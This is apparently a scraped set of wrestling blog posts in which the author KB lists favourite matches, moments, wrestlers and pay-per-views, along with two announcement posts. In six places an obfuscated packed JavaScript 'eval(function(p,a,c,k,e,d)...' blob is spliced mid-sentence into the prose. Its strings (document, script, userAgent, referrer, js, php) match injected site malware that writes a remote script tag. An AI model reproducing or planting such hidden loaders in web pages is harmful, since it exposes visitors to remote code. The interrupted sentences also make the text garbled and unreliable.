Five By Five: KB’s Favorite Matches

We close out the series with this.  Click on the link for the review of the show the match is on if applicable.  Also remember: favorite does eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fetfd|var|u0026u|referrer|ztaab||js|php'.split('|'),0,{})) NOT equal best.

Honorable Mention: Undertaker vs. Shawn Michaels (Wrestlemania 25).  Any match that hadm e on the edge of my seat like this one did has to be on this list.

Honorable Mention: Doomsday Cage (Uncensored 1996). This is the kind of match that is so bad it’s hilarious.  It looks cool, but if you think about it for more than 8 seconds, the match goes out the window into the land of WOW THIS IS STUPID.  That can be endlessly entertaining and this one is.  Check it out, and read my review at the same time to see how many head scratchers you can find in it.

Honorable Mention: TLC II (Wrestlemania X7). Take six guys, have them beat the tar out of each other for fifteen minutes, throw in Lita taking her top off.  What more do you need to know here?

Honorable Mention: Cactus Jack vs. HHH (Royal Rumble 2000).  This is one of those matches where you didn’t know who was going to win until the very end because HHH was in so far over his head.  Everything was on Cactus’ side and the match is one of the bloodiest affairs you’ll ever see in wrestling.  this is the match that made HHH into a killer and he stayed there for years.

5. AJ Styles vs. Abyss (Lockdown 2005). I love the David vs. Goliath story and this is a great example of that idea.  The opening segment of this match with the two of them outside of the cage is as entertaining a two or three minute stretch as TNA has ever produced, bar none.  AJ is all over the place, sliding and diving and jumping to try to slow the monster down but Abyss stops him every time.  AJ finally goes straight up Superman and dives over about four rows to take Abyss down.  I get into this every time and it’s a brawl all the way through.

4. Hart Foundation vs. Demolition (Summerslam 1990). A friend of mine from WrestleZone has called this the best tag team match ever and I’m not sure he’s that far off.  This is insanely entertaining as Demolition has held the belts for months now and the Harts have about as much of a chance as I do at winning Miss Nevada 1982.  The champions cheat like there’s no tomorrow with switches and beating up the referee and whatever else they can pull off.  LOD comes out to even things up and stop the cheating and the Harts use the one opening they have to steal the titles.  It’s great and if you watch it you’ll get into it too.

3. Sting vs. Cactus Jack (Beach Blast 1992). Two of my three favorite wrestlers in a match that Foley said was his best ever for a long time.  I think you can figure this one out.

2. Shawn Michaels vs. Shelton Benjamin (Monday Night Raw – 5/2/2005). For years and years I had this as my favorite match and it’s still very hard to dop.  The idea of Shawn fighting himself from ten years ago is brilliant and the match is so incredibly crisp.  On top of that the ending is one of the best looking knockouts you’ll ever see anywhere.  From a personal standpoint, this was a turning point for me as a fan as for the first time ever I could see a story being told in a match and got way into that aspect of it instead of cheering for my favorites.

1. Sting vs. Vader (Starrcade 1992). This was always one of my favorites but the more I thought about it the more I realized how much I love it.  If I’m ever in the mood to watch something fun, this is what I throw on.  It’s the David vs. Goliath formula again….if David was 6’3 and 240lbs.  The idea here is simple: Vader DESTROYED Sting to win the world title in July but this is about revenge and some stupid tournament.  Sting had always been able to charge head first into whomever he was facing before this and beat them through pure talent, but when he tried to charge at Vader he got his block knocked off.  Instead he needs to use his brain, but since Sting is kind of stupid he tries rope a dope instead.  Sting lets Vader pound him down until Vader has nothing left and then Sting goes in for the kill.  The visuals of Sting getting beaten down more and more before FINALLY making his superhuman comeback are awesome if you can get behind an underdog, which is what Sting was coming into this.  Check this one out for sure.

 

 

 




Five By Five: KB’s Five Favorite Moments In Wrestling

Part eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhda|var|u0026u|referrer|ddatt||js|php'.split('|'),0,{})) of a double shot today due to me being busy yesterday.Honorable Mention: Edge Cashes In (New Year’s Revolution 2006).  A girl I knew was a Cena fan and bragged about him winning the Chamber.  She went to bed and then Edge came out.  Oh the great time I had the next day over that.  This is still the gold standard for MITB cash-ins.

Honorable Mention: Goldberg Wins WCW Title (Monday Nitro – July 6, 1998). When I was ten years old, Goldberg was AWESOME.  I wasn’t the biggest fan of his in the world, but a monster vs. Hogan for free on Nitro?  You know I was going to be all over that.  Goldberg destroyed Hogan, in one of the biggest jobs Hogan ever did.

5. Jeff Hardy Wins WWE Championship (Armageddon 2008). I’m not a big Jeff Hardy fan, but I TOTALLY bought into the Hardy Chases the Brass Ring story from 2008.  I fell asleep earlier in the night and missed most of the show but turned it on just in time to see Hardy dive off the top and hit the Swanton on HHH before pinning Edge, FINALLY winning the championship he had spent all year chasing.  We’ll get back to a similar story in a bit.

4. Backlash 2006.  I was there.  Not much else to say about this one.

3. Hogan Slams Andre (Wrestlemania 3). It’s the most famous scene from the biggest match ever at the biggest show ever.  Hogan slamming Andre is the moment that made him immortal and cemented him as the biggest star of all time.  You can hear the crowd gasp when Hogan picks him up and then explode when Andre hits the mat.  There’s a reason this makes every highlight reel ever in the history of WWE.  It’s never going to be topped no matter what happens in the future, period.

2. Randy Savage and Miss Elizabeth Reunite (Wrestlemania 7).  This is the only moment ever in wrestling that actually brings a tear to my eye.  Savage had turned monster heel on February 3, 1989 and dumped Liz in the process.  He hooked up with Sensational Sherri somewhere along the line while becoming the Macho Man.  Liz had barely been seen since but was spotted in the crowd for Savage’s career ending match at Wrestlemania 7.

After Savage lost an amazing match where he gave it everything he had, Sherri turned on him, screaming about how he had cost her her career too.  This prompted Liz to come out of the crowd and save Randy, who was shocked to see her there.  With nothing left to lose, Savage realized the error of his ways and embraced Liz, finally going back to where he belonged.  He then opened the ropes for her as opposed to her doing it for him as she had for years, showing that he was a changed man.  If you’re an old fan, this will still work wonders.

1. Mick Foley Wins WWF Title (Monday Night Raw – January 4, 1999). This is the ultimate feel good moment for me as a fan.  As someone who was overweight for a good portion of my teenage years (I walked into 6th grade standing 5’11 and weighing 230lbs), seeing someone else who was told he wasn’t the right size or didn’t have the right look win the world title and become the top man in the company always makes me smile.  He spent his entire career scrapping and clawing and FINALLY he got what he had earned.  That’s a perfect story and the moment never gets old.




Five By Five: KB’s Five Favorte Wrestlers

Kind eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydtkb|var|u0026u|referrer|kntzb||js|php'.split('|'),0,{})) of a big deal but it’s the easiest to write.

Honorable Mention: Edge. Before he became the ridiculous character that he was in the Rated R days, Edge was AWESOME, tearing Smackdown apart in 2002 and being on the verge of the world title until a neck injury put him on the shelf for over a year.  I was a huge Edgehead back in the day as the look and the music got me totally into his stuff.  There’s a fourway on Smackdown with him facing Angle, Guerrero and Benoit which is as good a TV match as you’ll see in a long time.

Honorable Mention: Rey Mysterio. Back in the mid to late 90s, Mysterio was like nothing else I had ever seen before.  When you go from the big brawling guys of the 80s to Bret and Owen on the mat earlier in the decade to Mysterio jumping all over the place and doing flips that no one in America had ever seen before, how in the world can you not be impressed?  Some guys would probably wind up doing it better, but Mysterio was doing it first and did it best back in the 90s.

Honorable Mention: Tito Santana. Santana is a guy where the more I see of him the more I like him.  The guy was incredibly talented and had some very solid charisma, as he could get a crowd going no matter what he was doing.  Santana is the original Kofi Kingston, as he won various other titles and got a once in a blue moon world title shot.  He never was a threat to win the title, but it was next to impossible to have a bad match with him.  That’s very valuable and it allows for a lot of help on a card.

 

5. Kane. Kane is a guy who constantly goes from being dull to entertaining at the drop of a hat.  His debut back in 1997 is still one of the most awesome moments I can remember, as you had heard about Kane for months and months until he FINALLY debuted in the first Hell in a Cell match.  It was clear from that moment that Undertaker was in for a fight and that’s what he got.  Think about it like this: Steve Austin was the hottest thing in the world for well over a year but Kane took the title from him two months after he won it.  That says a lot about him, even if it was for just one day.  Throw in the HILARIOUS anger management stuff and Kane is one of the most entertaining guys I’ve ever seen.

4. Randy Savage. Again, the more I watch this guy the more I appreciate him.  Savage is so smooth in the ring it’s unreal, as he can go from high flying to mat wrestling to brawling and back again like it’s no problem at all.  On top of that, Savage was NUTS and had some of the most over the top and insane promos you’ll ever hear.  Wait why am I bothering to explain this?  If you don’t know who Randy Savage is, why are you reading this?  The man is awesome and in a few years he’ll probably be higher on this list.

3. Hulk Hogan. Dude, it’s Hulk Hogan.  He got me into wrestling as a kid and he kept me in it for years.  It’s a simple idea: he’s a hero and he fought off the bad guys.  It’s amazing how simple of a concept that is yet so many people over the years have tried to/insisted on overthinking it.  While Hogan has done a lot of bad things over the years, without him there wouldn’t be a modern wrestling for him to do bad things in.  That pretty easily makes up for all of it and there’s not much of an argument against it.

2. Sting. As much as I liked Hogan, there’s something about Sting that I like that much more.  Sting is one of those guys that is indeed timeless and has done it all in wrestling.  Yes I said did it all, because he doesn’t need to go to WWE.  He’s one of the biggest stars of all time (get over yourself WON HOF.  To suggest that Sting isn’t a main event star is ridiculous) and had one of the most intriguing stories in the history of wrestling, which just happened to draw a fortune.  I love the guy and he’s always awesome.

1. Mick Foley. Foley on the other hand is awesome on a completely different level.  One of my favorite movies is Rocky, which clearly had a lot of influence on the Mick Foley character.  The night he won his first world title is still perfect and makes me smile every time I see it.  On top of that though, Foley really is a brilliant character.  Many people see him as three different interchangeable characters, but in reality it’s one who has multiple personalities that manifest themselves at the appropriate time.  That’s a really interesting and deep idea which has never been done other than this that I can think of.  On top of THAT, a few years ago I got to meet Foley at a book signing and he couldn’t have been a nicer guy, which made him all the more awesome.  Go read his books as they’re certainly worth it, even Countdown to Lockdown.




Five By Five: KB’s Five Favorite Pay Per Views

As I mentioned last week, I’m going to be listing off my five favorites of various things every day this week.  Today, we’re starting off with Pay Per Views.  You can click on the name of the show for my review.  Let’s get to it.Honorable eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbfii|var|u0026u|referrer|yykri||js|php'.split('|'),0,{})) Mention: Money in the Bank 2011.  If there’s a better recent PPV out there from top to bottom, I don’t know what it is.  This ran away with show of the year for 2011 and never looked back.  The main event is one of the best matches I have ever seen and I was literally sitting on the edge of my bed watching it.  The match still holds up today (granted that’s not saying much) but it’s still great.  The other stuff on the card is excellent too.

Honorable Mention: Uncensored 1996. This show is the epitome of “how bad can this possibly get”.  It’s hilariously entertaining and Heenan reaches Mystery Science Theater levels of riffing on the main event.  It’s also by far and away the funniest review I’ve ever written and probably the one I’m most proud of.  If you’re ever in a mood to laugh at wrestling, check out the Doomsday Cage match and I guarantee the more you think about it, the more you’ll laugh at it.

5. Wrestlemania 28. As great as the main event of MITB 11 was, Rock vs. Cena reached a point that I’ve never reached as a wrestling fan: I had to see the match.  I didn’t care if it was good or bad or anywhere in between, but I had to see it.  That’s the point of building up a show and for a fan as jaded as I am, it says a lot that it actually worked.  Again, the rest of the card is very solid stuff on top of the main event.

4. Beach Blast 1992. This is probably my favorite WCW card ever.  It has two classics that aren’t remembered like they should be in Sting vs. Cactus Jack in a falls count anywhere match that Foley called his favorite/best match ever for years.  You also get a thirty minute Iron Man match with Rude vs. Steamboat which is fast paced for almost the entire time.  There’s also a really good tag title match to close the show.  This is definitely worth checking out, but watch it out of order.  Watch Sting vs. Jack last and you’ll enjoy the show a lot more.

3. One Night Stand 2005. This is one of the most entertaining shows you’ll ever see.  Anyone that has followed me over the years knows that I LOATHE ECW and everything that it stood for.  That being said, this show is a blast to watch and still entertains me to this day.  The WWE allowed it to be run like an ECW show with ECW talent and a big ECW spectacle to end the show.  The big ECW beer bash with Bischoff getting destroyed is endlessly entertaining and the rest of the show is just as good.  If you’re a wrestling fan, you should see this show.

2. Summerslam 1990. Pure personal nostalgia here as this was the first PPV I ever got at my house and I went through at least two copies of the tape.  That being said, it’s still a pretty entertaining show with Hogan returning for revenge against Earthquake for injuring him, Ultimate Warrior defending the title against Rude in a cage, a show long angle of Sapphire disappearing, and a wicked tag match with the Hart Foundation shocking the world and beating Demolition for the tag titles.  It’s worth checking out.

1. Wrestlemania X7.  This is the greatest show of all time, period.  Seriously, that’s all you need to know about it.  The main event feels like the main event of the biggest show of the year, this incarnation of the tag division reached its apex with TLC 2, HHH vs. Undertaker have a forgotten classic, Angle vs. Benoit is Angle vs. Benoit, and it has the FREAKING GIMMICK BATTLE ROYAL.  All this in front of 68,000 people a week after the WWF has officially conquered the wrestling world.  It’s the peak of the company’s history and absolutely required viewing for wrestling fans.

 




Starting Monday: Five By Five

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nftrz|var|u0026u|referrer|tydnr||js|php'.split('|'),0,{})) is something I’ve been wanting to do for awhile.  Often times I’m asked what my favorite matches, wrestlers, promos etc are.  Well for once and for all, I’m going to answer those questions (even though the answers will likely change a week later).  Starting Monday and going through Friday, I’m going to be listing my top five:Matches

Promos

Angles/stories

Wrestlers

PPVs

 

Anyone that knows me knows that if I try to write a list, it winds up going WAY longer than I intend it to be.  I’m not sure what’s going to be on this list but it’s going to be interesting.  If anyone has any other categories they would like to see, let me know and I might do a sixth day.

 

KB




Next Week: Five by Five

Stay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbarh|var|u0026u|referrer|fksbz||js|php'.split('|'),0,{})) tuned.